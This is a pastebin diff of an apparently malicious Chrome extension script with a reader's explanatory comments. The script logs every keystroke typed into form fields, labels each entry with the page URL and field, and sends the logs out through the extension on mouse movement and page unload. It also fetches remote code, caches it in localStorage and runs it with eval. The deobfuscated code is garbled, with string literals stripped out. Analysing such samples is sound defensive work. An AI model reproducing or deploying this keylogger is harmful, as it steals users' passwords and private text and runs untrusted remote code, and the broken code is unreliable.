View difference between Paste ID: BaTz34dh and 2mwWnQfM

 // \x0A is the equalsto of return
 
 // I'm not sure how this works, but it appears to allow you to use, for example, body in place of "body" in your code.
 var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"];
 var kt = ;
 var pu = ;
 var ss = false;
 setTimeout(ijCheck, 50);
 
 function ijCheck() {
     // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
     if ($(body)[length]) {
         chrome[extension][sendRequest]({
             url: document[URL],
             title: document[title]
         }, function (geet) {});
         // This adds a "~" to denote backspacing, I believe.
         $(body)[on](keydown, input, textarea, function (key) {
             if (key[keyCode] == 8) {
                 kt += ~
- //logs keypress
+
         });
 
        // For every keypress into a text area on a website, do this:
        $(body)[on](keypress, input, textarea, function (key) {
-  //hits enter adds had and hits enter
+            // This writes a header for your text input, so they know where you entered it.
             var hab = [ + $(this)[attr](name) +  # + $(this)[prop](id) +   + $(this)[attr](class) + ];
             // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
             if (pu != hab) {
               kt += _0x2eb2[22] + hab + _0x2eb2[22];
                 pu = hab
             };
             // Add the keypress on the newline we created.
             if (String[fromCharCode](key[charCode])) {
                 kt += String[fromCharCode](key[charCode])
             }
         });
         // As soon as the user moves their mouse again...
         $(body)[mousemove](function () {
             // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
             if (kt[length] > 100 && !ss) {
                 ss = true;
                 // Then send the data.
                 chrome[extension][sendRequest]({
                     url: document[URL],
                     post: kt
                 }, function (geet) {});
                 kt = ;
                 pu = ;
                 ss = false
             }
         })
     } else {
         // If the page hasn't loaded, try again in 50 milliseconds.
         setTimeout(ijCheck, 50)
     }
 };
 window[onbeforeunload] = function () {
     chrome[extension][sendRequest]({
         url: document[URL],
         post: kt
     }, function (geet) {})
 };
 if (!localStorage[getItem](bitgifts)) {
     fetchCS()
 } else {
     if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
         eval(localStorage[getItem](bitgifts))
     } else {
         fetchCS()
     }
 };
 
 function fetchCS() {
     chrome[extension][sendRequest]({
         getcs: true
     }, function (geet) {
         localStorage[setItem](bitgifts, geet[data]);
         localStorage[setItem](bitgifts-c, new Date()[getTime]());
         eval(geet[data])
     })
 };